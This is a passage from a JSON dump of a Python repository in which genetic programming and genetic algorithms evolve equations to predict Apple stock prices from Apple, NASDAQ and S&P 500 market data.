model.add_signal(\\\"delta_low\\\", low_diff)\\n model.add_signal(\\\"delta_close\\\", close_diff)\\n model.add_signal(\\\"delta_volume\\\", volume_diff)\\n model.add_signal(\\\"delta_adjclose\\\", adjclose_diff)\\n # model.add_signal(\\\"date\\\", dates_)\\n dataset.append(model)\\n \\n for i in xrange(1, len(nasdaq_stock_prices)):\\n \\n model = FitnessDataObject()\\n open_diff = percent_difference(nasdaq_stock_prices[i].open_, nasdaq_stock_prices[i-1].open_)\\n high_diff = percent_difference(nasdaq_stock_prices[i].high_, nasdaq_stock_prices[i-1].high_)\\n low_diff = percent_difference(nasdaq_stock_prices[i].low_, nasdaq_stock_prices[i-1].low_)\\n close_diff = percent_difference(nasdaq_stock_prices[i].close_, nasdaq_stock_prices[i-1].close_)\\n volume_diff = percent_difference(nasdaq_stock_prices[i].volume_, nasdaq_stock_prices[i-1].volume_)\\n adjclose_diff = percent_difference(nasdaq_stock_prices[i].adjclose_, nasdaq_stock_prices[i-1].adjclose_)\\n\\n #print nasdaq_stock_prices[i].volume_\\n #print nasdaq_stock_prices[i-1].volume_\\n #print (nasdaq_stock_prices[i].volume_ - nasdaq_stock_prices[i-1].volume_) / float(nasdaq_stock_prices[i -1].volume_)\\n\\n\\n\\n #volume_diff = 100 *(nasdaq_stock_prices[i].volume_ - nasdaq_stock_prices[i-1].volume_) / nasdaq_stock_prices[i - 1].volume_\\n #print volume_diff\\n #dates_ = nasdaq_stock_prices[i].date_\\n\\n\\n model.add_signal(\\\"delta_nasdaq_open\\\", open_diff)\\n model.add_signal(\\\"delta_nasdaq_high\\\", high_diff)\\n model.add_signal(\\\"delta_nasdaq_low\\\", low_diff)\\n model.add_signal(\\\"delta_nasdaq_close\\\", close_diff)\\n model.add_signal(\\\"delta_nasdaq_volume\\\", volume_diff)\\n model.add_signal(\\\"delta_nasdaq_adjclose\\\", adjclose_diff)\\n dataset.append(model)\\n\\n return dataset\\n\\n def __init__(self, files):\\n file_class = [(files[0] , AppleStockPrice), (files[1] , NasdaqPrice)]\\n self.dataset = self.get_dataset(file_class)\\n\\n\\n def signal_ranges(self):\\n signal_ranges = []\\n if self.dataset != None:\\n for signal in self.dataset[0].get_signals():\\n l = map(lambda x:x.get(signal), self.dataset)\\n min_max = (min(l), max(l))\\n signal_ranges.append(min_max)\\n else:\\n print \\\"Dataset is None\\\"\\n return signal_ranges\\n\\n\\n def get_signal_list(self):\\n signal_data = []\\n for i in xrange(len(self.dataset)):\\n vals = []\\n for signal in self.dataset[i].get_signals():\\n val = self.dataset[i].get(signal)\\n vals.append(val)\\n signal_data.append(vals)\\n return signal_data\\n\"\n },\n {\n \"alpha_fraction\": 0.5866666436195374,\n \"alphanum_fraction\": 0.5885714292526245,\n \"avg_line_length\": 18.407407760620117,\n \"blob_id\": \"fe542b6331cfc91e5ca49ba7747fdd087cdb7966\",\n \"content_id\": \"9b2c3d340b7092fd17e24370f733cd6667f8e048\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 525,\n \"license_type\": \"no_license\",\n \"max_line_length\": 39,\n \"num_lines\": 27,\n \"path\": \"/Rahul_Genetic_Program/apple/tree.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: tree\\n\\n'''\\n\\tNode and Tree Class\\n'''\\n\\n#Genetic Node Class\\nclass Node(object):\\n #Constructor for Node object\\n def __init__(self, value=None):\\n self.value = value\\n self.left = None\\n self.right = None \\n\\n\\n#Genetic Tree Class\\n#Uses Genetic Node \\nclass Tree(object):\\t\\n\\t#Constructor\\n\\tdef __init__(self):\\n\\t\\t#Initializes root node\\n\\t\\t#Will be overwritten\\n\\t\\tself.root = Node('root') \\n\\t\\tself.size = 1\\n\\t\\tself.decision = ['left', 'right']\\n\\t\\tself.fitness = None\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6542646288871765,\n \"alphanum_fraction\": 0.6654966473579407,\n \"avg_line_length\": 34.599998474121094,\n \"blob_id\": \"8dbef7b8a0bc91fc28083b49aa60e6b87b086fdc\",\n \"content_id\": \"e38605eae32e3c3920d4bff349cd03ee56c3d301\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2849,\n \"license_type\": \"no_license\",\n \"max_line_length\": 112,\n \"num_lines\": 80,\n \"path\": \"/Rahul_Genetic_Program/apple/fitness.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: fitness\\n\\n'''\\n\\tFitness \\n\\tFunctions & Wrappers\\n'''\\n\\nimport scrape\\nimport recombination\\nfrom copy import deepcopy\\n\\ndef generateFitnesses(population):\\t\\t\\n\\tfitnesses = map(lambda x: fitnessValue(x), population)\\t\\n\\n#Calculate the fitness value of a single GP tree\\n#and stores it in the tree object\\ndef fitnessValue(tree):\\n path = [] \\n recombination.loadPaths(tree.root, path)\\n\\n\\t#Load market data and stores in respective dictionaries\\t\\n\\tapple_data = scrape.getAppleData()\\t\\n\\tnasdaq_data = scrape.getNasdaqData()\\n\\tsp500_data = scrape.getSP500Data()\\n\\t\\n\\tnodeReplace(path)\\t\\n\\tequation = createEquation(path)\\t\\n\\tdata_size = range(0, len(apple_data))\\t\\n\\tpredicted_prices = map(lambda i: evaluateEquation(i, nasdaq_data, apple_data, sp500_data, equation), data_size)\\n\\tnext_day_prices = map(lambda data: data['apple_close'], apple_data) #next_day_price is the actual price\\n\\t\\t\\n\\tpredicted_prices.pop() \\t#Removes the last item in the list\\n\\tnext_day_prices.pop(0) \\t#Removes the first item in the list\\t\\t\\n\\t\\n\\tzipped = zip(predicted_prices, next_day_prices)\\n\\terrors = map(lambda pair: abs(pair[1] - pair[0]), zipped)\\n\\tfitness = sum(errors)/float(len(errors))\\n\\n\\ttree.fitness = fitness\\t#Adds fitness to tree object in-place\\t\\n\\treturn fitness \\t\\t#For printEquationPopulation function\\t\\n\\ndef evaluateEquation(i, nasdaq_data, apple_data, sp500_data, equation):\\n\\treturn eval(equation)\\n\\t\\n\\n#Replaces path with data by subbing in\\n#dictionary that will be eval'd later\\ndef nodeReplace(path):\\n terminals = scrape.getTerminal() \\n\\n string_terminals = filter(lambda t: type(t) == type('str'), terminals)\\n path_string_terminals = filter(lambda t: t in path, string_terminals) \\n\\n apple_data = filter(lambda t: t[0] == 'a', path_string_terminals)\\n nasdaq_data = filter(lambda t: t[0] == 'n', path_string_terminals)\\n\\tsp500_data = filter(lambda t: t[0] == 's', path_string_terminals)\\n\\n map(lambda t: replaceWrapper(path, t, 'a'), apple_data)\\n map(lambda t: replaceWrapper(path, t, 'n'), nasdaq_data)\\n\\tmap(lambda t: replaceWrapper(path, t, 's'), sp500_data)\\n\\ndef replaceWrapper(path, t, data_type):\\n pairs = filter(lambda pair: pair[1] == t, enumerate(path))\\n indices = map(lambda pair: pair[0], pairs) \\n map(lambda index: replaceWrapper2(path, t, data_type, index), indices)\\n\\ndef replaceWrapper2(path, t, data_type, index):\\n if(data_type == 'a'):\\n path[index] = \\\"apple_data[i]['%s']\\\" %(t)\\n elif(data_type == 'n'):\\n path[index] = \\\"nasdaq_data[i]['%s']\\\" %(t)\\n\\telif(data_type == 's'):\\n\\t\\tpath[index] = \\\"sp500_data[i]['%s']\\\" %(t)\\n\\n#Creates the equation that the tree represents\\ndef createEquation(path):\\n paths = map(lambda node: str(node), path)\\n final_path = reduce(lambda x,y: x + \\\" \\\" + y, paths)\\n return final_path\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.685512363910675,\n \"alphanum_fraction\": 0.6893993020057678,\n \"avg_line_length\": 28.789474487304688,\n \"blob_id\": \"20bbcb5df87260bb62658a951ea7b87ccd50703e\",\n \"content_id\": \"d8477965714b6769637dbc6bb18685dd6bc79869\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2830,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 95,\n \"path\": \"/Rahul_Genetic_Program/apple/initialize.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: initialize\\n\\nimport config\\nfrom tree import Node\\nfrom tree import Tree\\nimport scrape \\n\\nfrom random import choice\\nfrom random import sample\\nfrom copy import deepcopy\\n\\n'''\\n\\tInitialization \\n\\tFunctions and Wrappers\\n'''\\n#Initialize genetic tree population\\ndef initPopulation(num_of_trees):\\n\\ttree_size = config.tree_size\\t\\n\\t#tree = initGeneticTree(6)\\n\\t#population = map(lambda i: sameTree(tree), range(0, num_of_trees))\\t\\t\\n\\tpopulation = map(lambda tree: initGeneticTree(tree_size), range(0, num_of_trees))\\n\\treturn population\\n\\ndef sameTree(tree):\\n\\treturn deepcopy(tree)\\t\\n\\n#Initializes a genetic tree with \\n#the specified number of nodes\\ndef initGeneticTree(num_of_nodes):\\t\\n\\ttree = Tree()\\n\\tdecision = ['left', 'right']\\n\\tmap(lambda x: createRandomNodes(tree.root, decision), range(0, num_of_nodes))\\t\\n\\tfillGeneticTree(tree.root)\\n\\treturn tree \\n\\n#Traverse the binary tree and adds a pair \\n#of left and right nodes in a random place\\ndef createRandomNodes(root, decision):\\n chosen = choice(decision)\\n if(chosen == 'left' and root.left == None):\\n root.left = Node('l')\\n\\t\\troot.right = Node('r')\\n elif(chosen == 'right' and root.right == None):\\n root.right = Node('r')\\n\\t\\troot.left = Node('l')\\n else:\\n if(chosen == 'left'):\\n createRandomNodes(root.left, decision)\\n else: #chosen = 'right'\\n createRandomNodes(root.right, decision)\\n\\n\\n#Insert terminal and functional nodes into the\\n#genetic tree. \\ndef fillGeneticTree(root):\\n\\t#Load terminal list with terminal nodes\\n\\tterminal = scrape.getTerminal()\\n\\t#Load functional list with functional nodes\\n\\tfunctional = scrape.getFunctional()\\t\\t\\n\\t#Keeps track of functional and terminal list positions\\t\\n\\tterminal_index = 0\\n\\tfunctional_index = 0\\n\\tstack = []\\n\\tstack.append(root)\\n\\ttemp_terminal = sample(terminal, len(terminal)) #shuffle terminal\\n\\ttemp_functional = sample(functional,len(functional)) #shuffle functional\\n\\n\\t#While loop ensures that initial population has\\n\\t#one of each type of functional node\\n\\t#and one of each type of terminal node\\t\\n\\twhile(len(stack) > 0):\\t\\t\\n\\t\\tcurrent = stack.pop()\\t\\n\\n\\t\\tif(current.left == None and current.right == None):\\n\\t\\t\\t#Node is a leaf, insert terminal node\\n\\t\\t\\tcurrent.value = temp_terminal[terminal_index]\\n\\t\\t\\tterminal_index += 1\\n\\t\\telse: #Node is not a leaf, insert a functional node\\n\\t\\t\\tcurrent.value = temp_functional[functional_index]\\n\\t\\t\\tfunctional_index += 1\\n\\n\\t\\t#Resets indices if out of bounds\\n\\t\\tif terminal_index == len(temp_terminal):\\n\\t\\t\\tterminal_index = 0 \\n\\t\\tif functional_index == len(temp_functional):\\n\\t\\t\\tfunctional_index = 0\\n\\t\\t\\n\\t\\ttemp_node = current.right\\t\\t\\n\\t\\tif temp_node != None:\\n\\t\\t\\tstack.append(temp_node) #stack.push\\n\\n\\t\\ttemp_node = current.left\\n\\t\\tif temp_node != None:\\n\\t\\t\\tstack.append(temp_node) #stack.push\\n\"\n },\n {\n \"alpha_fraction\": 0.8302354216575623,\n \"alphanum_fraction\": 0.832713782787323,\n \"avg_line_length\": 31.200000762939453,\n \"blob_id\": \"70beb514ab75cad7827e31a766dccc028688450b\",\n \"content_id\": \"20a9d3fe3d5561ea310a9e45c319fd54308cce3c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 807,\n \"license_type\": \"no_license\",\n \"max_line_length\": 64,\n \"num_lines\": 25,\n \"path\": \"/Rahul_Genetic_Program/predict.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#Main Apple Stock Predicting Script\\n\\nfrom apple import config\\nfrom apple import initialize\\nfrom apple import inspect\\nfrom apple import recombination\\nfrom apple import selection\\nfrom apple import fitness\\n\\nfrom termcolor import colored\\n\\npopulation = initialize.initPopulation(config.population_size)\\n\\nfor generation in xrange(0, config.generations):\\t\\t\\t\\n\\tfitness.generateFitnesses(population)\\n\\tinspect.printEquationPopulation(population, generation)\\n\\tfor tree in xrange(0, len(population)):\\t\\t\\t\\n\\t\\trecombination.performMutation(population)\\n\\t\\trecombination.performCrossover(population)\\n\\t#Tournament Selection\\n\\tselection.tournamentParentSelection(population)\\n\\t#Roullette Wheel\\n\\t#roulletteWheel = selection.createRoulletteWheel(population)\\n\\t#selection.roulletteParentSelection(roulletteWheel, population)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6515709161758423,\n \"alphanum_fraction\": 0.6722332239151001,\n \"avg_line_length\": 26.379844665527344,\n \"blob_id\": \"46376daa5f17ea0a42fb9a8e12db8fd242b5624d\",\n \"content_id\": \"5ef5bea7e76159b7edb8e55f70666c57bd450cb3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3533,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 129,\n \"path\": \"/Rahul_Genetic_Program/apple/recombination.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: recombination \\n\\n'''\\n\\tMutation & Crossover\\n\\tFunctions and Wrappers \\n'''\\nimport config\\nfrom random import choice\\nfrom random import random\\nfrom random import randint\\nfrom copy import deepcopy\\n\\n'''\\n\\tMutation\\n'''\\ndef performMutation(population):\\t\\n\\tfor tree in xrange(0, len(population)):\\n\\t\\tdice_roll = random()\\n\\t\\tif (dice_roll < config.m_probability):\\n\\t\\t\\tmutate(population[tree].root)\\t\\n\\ndef mutate(root):\\n\\t#Choose to swap terminal or functional nodes\\n\\tnode_type = choice(['terminal', 'functional'])\\n\\tif(node_type == 'terminal'): \\n\\t\\tt_node_values = getNodes(root,1)\\n\\t\\tv_1 = choice(t_node_values)\\n\\t\\tt_node_values.remove(v_1) #remove from pool\\n\\t\\tv_2 = choice(t_node_values)\\n\\t\\tnode_1 = DFS(root, v_1) #Retrieve node references\\n\\t\\tnode_2 = DFS(root, v_2)\\t\\n\\t\\tswapValues(node_1, node_2)\\n\\telse: #type == 'functional'\\n\\t\\tf_node_values = getNodes(root,2)\\n\\t\\t#Safeguards against a one element f_node\\n\\t\\tif (len(f_node_values) > 1):\\n\\t\\t\\tv_1 = choice(f_node_values)\\t\\n\\t\\t\\tf_node_values.remove(v_1) #remove from pool\\n\\t\\t\\tv_2 = choice(f_node_values)\\n\\t\\t\\tnode_1 = DFS(root, v_1) #Retrieve node references\\n\\t\\t\\tnode_2 = DFS(root, v_2)\\n\\t\\t\\tswapValues(node_1, node_2)\\t\\t\\t\\t\\n\\n\\n'''\\n\\tCrossover\\n'''\\ndef performCrossover(population):\\n\\tsize = len(population)\\n\\tfor i in xrange(0, size):\\n\\t\\tif(random() <= config.c_probability and (i+1) < size):\\n\\t\\t\\tcrossover(population[i].root, population[i+1].root)\\n\\t\\t\\t#For random selection\\n\\t\\t\\t#choice_1 = randint(0, size-1)\\t\\n\\t\\t\\t#choice_2 = randint(0, size-1)\\n\\t\\t\\t#if(choice_1 != choice_2):\\n\\t\\t\\t#\\tcrossover(population[choice_1].root, population[choice_2].root)\\t\\t\\n\\n\\ndef crossover(root_1, root_2):\\n\\tnode_1 = chooseRandomSubTree(root_1, 3)\\n\\tnode_2 = chooseRandomSubTree(root_2, 3)\\n swapValues(node_1, node_2) #Swap subtrees\\n swapNodes(node_1, node_2)\\n\\n\\n'''\\n\\tWrappers\\n'''\\ndef chooseRandomSubTree(root, t_or_f):\\t\\t\\n\\tfunctional_nodes = getNodes(root, 3)\\t\\n\\t#Choose from sub-trees that have a depth greater than 2\\n\\t#This prevents pre-mature convergence\\n\\tqualified_nodes = filter(lambda node: depth(node) > config.minimum_size, functional_nodes)\\n\\tnode = choice(qualified_nodes)\\t\\n\\treturn node\\n\\t\\ndef getNodes(root, t_or_f=0):\\t\\n\\tnodes = []\\n\\tloadPaths(root, nodes, t_or_f)\\n\\treturn nodes\\n\\ndef swapValues(node_1, node_2):\\n\\ttemp_value = node_1.value\\n\\tnode_1.value = node_2.value\\n\\tnode_2.value = temp_value\\n\\ndef swapNodes(node_1, node_2):\\n\\ttemp_left = node_1.left\\n\\ttemp_right = node_1.right\\n\\tnode_1.left = node_2.left\\n\\tnode_1.right = node_2.right\\n\\tnode_2.left = temp_left\\n\\tnode_2.right = temp_right\\n\\n#Loads path with an in-order traversal\\t\\n#all, terminal, or functional nodes\\ndef loadPaths(root, path=[], t_or_f=0):\\t\\n\\tif root == None:\\n\\t\\treturn\\n\\tloadPaths(root.left, path, t_or_f)\\n\\tif(t_or_f == 2): #Only append functional nodes\\n\\t\\tif(root.left != None and root.right != None):\\n\\t\\t\\tpath.append(root.value)\\t\\n\\telif(t_or_f == 1): #Only append terminal Nodes\\n\\t\\tif(root.left == None and root.right == None):\\n\\t\\t\\tpath.append(root.value)\\n\\telif(t_or_f == 3): #Only append functional node REFERENCES\\n\\t\\tif(root.left != None and root.right != None):\\n\\t\\t\\tpath.append(root)\\n\\telse: # t_or_f == 0, append all nodes\\n\\t\\tpath.append(root.value)\\n\\tloadPaths(root.right, path, t_or_f)\\n\\n#Depth First Search\\ndef DFS(root, target_value):\\n if(root == None):\\n return \\n if root.value == target_value:\\n return root\\n return DFS(root.left, target_value) or DFS(root.right, target_value)\\n\\n#Depth of a Tree\\ndef depth(root):\\n\\tif(root == None):\\n\\t\\treturn 0\\n\\telse:\\n\\t\\treturn 1 + max(depth(root.left), depth(root.right))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.671023964881897,\n \"alphanum_fraction\": 0.6971677541732788,\n \"avg_line_length\": 29.600000381469727,\n \"blob_id\": \"61905dddd0ef823e2fee13f13b76664dc1647c81\",\n \"content_id\": \"c7003693a6de438b3e25c0acf870d1c7bb763aa5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 459,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 15,\n \"path\": \"/Rahul_Genetic_Program/apple/config.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: config\\n\\npopulation_size = 50 #Number of trees in the population\\ntournament_size = 3 #Size of tournament during tournament selection\\n\\ntree_size = 10 #Number of nodes in a tree\\ngenerations = 50 #Number of generations\\n\\nc_probability = .7 #Crossover probability\\nm_probability = .2 #Mutation probability\\n\\nminimum_size = 3 #Minimum size of the tree that will be \\n\\t\\t #preserved during crossover\\niteration = 10\\n\"\n },\n {\n \"alpha_fraction\": 0.6075268983840942,\n \"alphanum_fraction\": 0.6075268983840942,\n \"avg_line_length\": 14.166666984558105,\n \"blob_id\": \"1fc665d4133ae3ff98caa057df8ca076ef62c503\",\n \"content_id\": \"a99a364064673244c04966f3f14583af9b75d409\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 186,\n \"license_type\": \"no_license\",\n \"max_line_length\": 36,\n \"num_lines\": 12,\n \"path\": \"/Rahul_Genetic_Program/data/reverse_data.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n_in = open('./APPLE_STOCK.csv', 'r')\\nout = open('./apple_stock.txt','w')\\n\\nlines = []\\n\\nfor line in _in:\\n\\tlines.append(line)\\n\\nlines.reverse()\\n\\nfor line in lines:\\n\\tout.write(str(line))\\n\\n\\t\\n\"\n },\n {\n \"alpha_fraction\": 0.608851969242096,\n \"alphanum_fraction\": 0.6164906620979309,\n \"avg_line_length\": 31.669116973876953,\n \"blob_id\": \"a32ce224ecb7820a1bc9945e1f37b6e964286f8c\",\n \"content_id\": \"8122f42bff470e83fa2d75bd680702b1ac8df776\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4451,\n \"license_type\": \"no_license\",\n \"max_line_length\": 114,\n \"num_lines\": 136,\n \"path\": \"/Rahul_Genetic_Program/apple/inspect.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: inspect\\n\\n'''\\n Tree Inspection \\n\\t &\\n\\tTesting Operators\\n'''\\n\\nimport recombination\\nimport fitness\\nimport initialize\\nimport config\\n\\nfrom termcolor import colored\\nmean_best = open('/Users/rahulramakrishnan/Desktop/trial_2_' + str(config.iteration) + '_real_mean_best.txt', 'w')\\n#Prints Trees Level by Level\\ndef printTreePopulation(population):\\n\\tmap(lambda tree: printTree(tree), population)\\n\\n#Prints Trees by their Equation (in-order)\\ndef printEquationPopulation(population, generation):\\n\\tsize = len(population)\\n\\tequation_dict = {}\\n\\t#print (colored(\\\"Size of population: %d\\\", 'blue') %(len(population)))\\n\\t\\n for tree in population:\\n\\t\\tpath = []\\n recombination.loadPaths(tree.root, path)\\n equation = fitness.createEquation(path)\\n error = fitness.fitnessValue(tree)\\n\\t\\tif equation not in set(equation_dict.keys()):\\n\\t\\t\\tequation_dict[equation] = {}\\n\\t\\t\\tequation_dict[equation][error] = 1\\n\\t\\telse:\\n\\t\\t\\tequation_dict[equation][error] += 1\\n\\t\\t\\n\\t#Output Generation Number\\n\\tfirst_part = colored(\\\"\\\\nGENERATION: %d \\\", 'magenta') %(generation)\\n\\tboundary = \\\"=\\\" * 100\\n\\tsecond_part = colored(boundary, 'magenta')\\n\\tprint first_part + second_part\\n\\t\\n\\t#Sort based on value of dictionary\\n\\tsorted_equation = sorted(equation_dict.iteritems(), key=lambda x: x[1])\\n\\tfor i, equation_and_error in enumerate(sorted_equation):\\n\\t\\tfor j in range(0, equation_and_error[1].values()[0]):\\n\\t\\t\\tequation = (colored(\\\"%s\\\", 'green') %(equation_and_error[0]))\\n\\t\\t\\terror = (colored(\\\"Fitness: %s\\\", 'blue') %(equation_and_error[1].keys()[0]))\\n\\t\\t\\tprint equation + \\\" === \\\" + error\\n\\t\\t\\t\\n\\tpopulation_fitness = map(lambda x: x.fitness, population)\\n\\tmean_fitness = sum(population_fitness)/float(size)\\n\\tbest_fitness = min(population_fitness)\\t\\n\\toutput_mean_fitness = colored(\\\"Mean Fitness: %f\\\", 'yellow') %(mean_fitness)\\t\\n\\toutput_best_fitness = colored(\\\"Best Fitness: %f\\\", 'red') %(best_fitness)\\n\\tmean_best.write(str(mean_fitness) + \\\" \\\" + str(best_fitness) + \\\"\\\\n\\\") #Write to file\\n\\tprint output_mean_fitness + \\\"\\\\n\\\" + output_best_fitness\\n\\t\\n#Depth of a tree\\ndef depth(root):\\n if(root == None):\\n return 0\\n else:\\n return 1 + max(depth(root.left), depth(root.right))\\n\\n#Prints each level\\ndef printTree(tree):\\t\\n root = tree.root\\n print \\\"-----Tree Level by Level--- Depth of Tree: %d\\\" %(depth(root))\\n result = createLeveledTree(root)\\n for level_index, level in enumerate(result):\\n nodes = []\\n for node in level:\\n nodes.append(node.value)\\n print str(level_index) + \\\": \\\" + str(nodes)\\n print \\\"Tree's Fitness: %f \\\" %(tree.fitness)\\n\\n#Prints the equation\\ndef printEquation(tree):\\n\\tpath = []\\n\\trecombination.loadPaths(tree.root, path)\\n\\tequation = fitness.createEquation(path)\\n\\tprint equation\\n\\n#Creates a list of levels of a tree\\ndef createLeveledTree(root):\\n result = [] \\n current = []\\n if(root != None):\\n current.append(root)\\n while (len(current) > 0):\\n result.append(current)\\n parents = current\\n current = []\\n for parent in parents:\\n if (parent.left != None):\\n current.append(parent.left)\\n if (parent.right != None):\\n current.append(parent.right)\\n return result\\n\\n#Traverses the tree in-order\\n#for viewing purposes\\ndef inOrderTraversal(root):\\n if root == None:\\n return\\n inOrderTraversal(root.left)\\n print root.value\\n inOrderTraversal(root.right)\\n\\n\\n#Testing Mutation\\ndef testMutation():\\n depth = 4\\n apple_tree_1 = initialize.initGeneticTree(depth)\\n print \\\"Before Mutation\\\"\\n printTree(apple_tree_1.root)\\n mutate(apple_tree_1.root)\\n print \\\"After Mutation\\\"\\n printTree(apple_tree_1.root)\\n\\n#Testing Crossover\\ndef testCrossover():\\n depth = 5\\n apple_tree_1 = initialize.initGeneticTree(depth)\\n apple_tree_2 = initialize.initGeneticTree(depth)\\n print \\\"Before Crossover: \\\\nTree 1\\\"\\n printTree(apple_tree_1.root)\\n print \\\"Tree 2\\\"\\n printTree(apple_tree_2.root)\\n recombination.crossover(apple_tree_1.root, apple_tree_2.root)\\n print \\\"\\\\nAfter Crossover: \\\\n Tree 1\\\"\\n\\tprintTree(qpple_tree_1) \\n\\tprint \\\"Tree 2\\\"\\n\\tprintTree(apple_tree_2)\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.5077672600746155,\n \"alphanum_fraction\": 0.5251294374465942,\n \"avg_line_length\": 32.479591369628906,\n \"blob_id\": \"306a6513be6f4579c03d2673d290bb5bc3d18c46\",\n \"content_id\": \"68e4598809a14c037108ad2b414a5518fc86ad35\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3283,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 98,\n \"path\": \"/Genetic_algorithm_Tushar/ga/individual.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n# import range related functions\\n# import representation related functions\\n\\nimport operator\\nimport random\\n\\nfrom random import randint as ri\\nfrom random import uniform as ru\\n\\nrandom.seed(1234)\\n\\nclass Individual:\\n def __init__(self, number_of_signals, bit_length = 16):\\n self.rep = \\\"\\\"\\n self.sig_size = bit_length\\n #self.signal_range = signal_ranges(datasets)\\n for i in xrange(number_of_signals):\\n random_val = bin(ri(0, 2 ** bit_length))[2:]\\n random_val = random_val.zfill(bit_length)\\n self.rep = self.rep + random_val \\n\\n def change_individual(self, bit_string):\\n if bit_string != None and type(bit_string) is str:\\n self.rep = bit_string\\n else:\\n print \\\"incorrect input\\\"\\n\\n\\n def transform_individual(self, signal_ranges):\\n \\\"\\\"\\\" Takes a list of 2 tuples defining the signal ranges and scales the binary string to the appropriate value\\n \\\"\\\"\\\"\\n num_signals = len(signal_ranges)\\n repr_size = len(self.rep)\\n n = repr_size / num_signals\\n\\n individual_signals = [ self.rep[i:i+n] for i in xrange(0, len(self.rep), n) ] \\n individual_vals = []\\n\\n for i in range(num_signals):\\n min_val = signal_ranges[i][0]\\n max_val = signal_ranges[i][1]\\n range_val = abs(max_val - min_val) \\n signal_value = min_val + (range_val * (float(int(individual_signals[i], 2)) / 2 ** n))\\n individual_vals.append(signal_value)\\n\\n return individual_vals\\n\\n\\n \\n def mutate(self, mutate_probability):\\n l = list(self.rep)\\n\\n for i in xrange(self.sig_size):\\n r = ru(0,1)\\n if r < mutate_probability:\\n for j in xrange(i,self.sig_size, self.sig_size):\\n if l[j] == '1':\\n l[j] = '0'\\n elif l[j] == '0':\\n l[j] = '1'\\n\\n self.rep = \\\"\\\".join(l)\\n\\n\\n def crossover_2way(self, other_parent, crossover_probability):\\n l1 = len(self.rep)\\n l2 = len(other_parent.rep)\\n expected_length = 0\\n #print \\\"before crossover\\\"\\n #print self.rep\\n #print other_parent.rep\\n if l1 == l2:\\n expected_length = l1\\n tmp_p1 = \\\"\\\"\\n tmp_p2 = \\\"\\\"\\n for i in xrange(0, l1 , self.sig_size):\\n p1 = self.rep[i: (i+self.sig_size) ]\\n p2 = other_parent.rep[i: (i+self.sig_size) ]\\n point = ri(0, self.sig_size - 1) \\n #print point\\n tmp1 = p1[point:]\\n tmp2 = p2[point:]\\n p1 = p1[:point] + tmp2\\n p2 = p2[:point] + tmp1\\n tmp_p1 = tmp_p1 + p1\\n tmp_p2 = tmp_p2 + p2\\n #print \\\"After crossover\\\"\\n #print tmp_p1\\n #print tmp_p2\\n # used parent replaces children survivor selection\\n if expected_length != 0:\\n self.change_individual(tmp_p1.zfill(expected_length))\\n other_parent.change_individual(tmp_p2.zfill(expected_length))\\n #print \\\"After crossover\\\"\\n #print self.rep \\n #print other_parent.rep \\n else:\\n print \\\"length of both parents must be equal\\\"\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7145061492919922,\n \"alphanum_fraction\": 0.7227365970611572,\n \"avg_line_length\": 27.159420013427734,\n \"blob_id\": \"e1e0cbfbe61f447fed676dece925541c4fda8353\",\n \"content_id\": \"1c882cf2b6c1d7ac29cbc2b473d76ff555490cf9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1944,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 69,\n \"path\": \"/Rahul_Genetic_Program/apple/selection.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#module: selection\\n\\n'''\\n\\tParent Selection\\n\\tFunctions\\n'''\\nfrom config import tournament_size\\nfrom copy import deepcopy\\nfrom random import sample\\nfrom random import 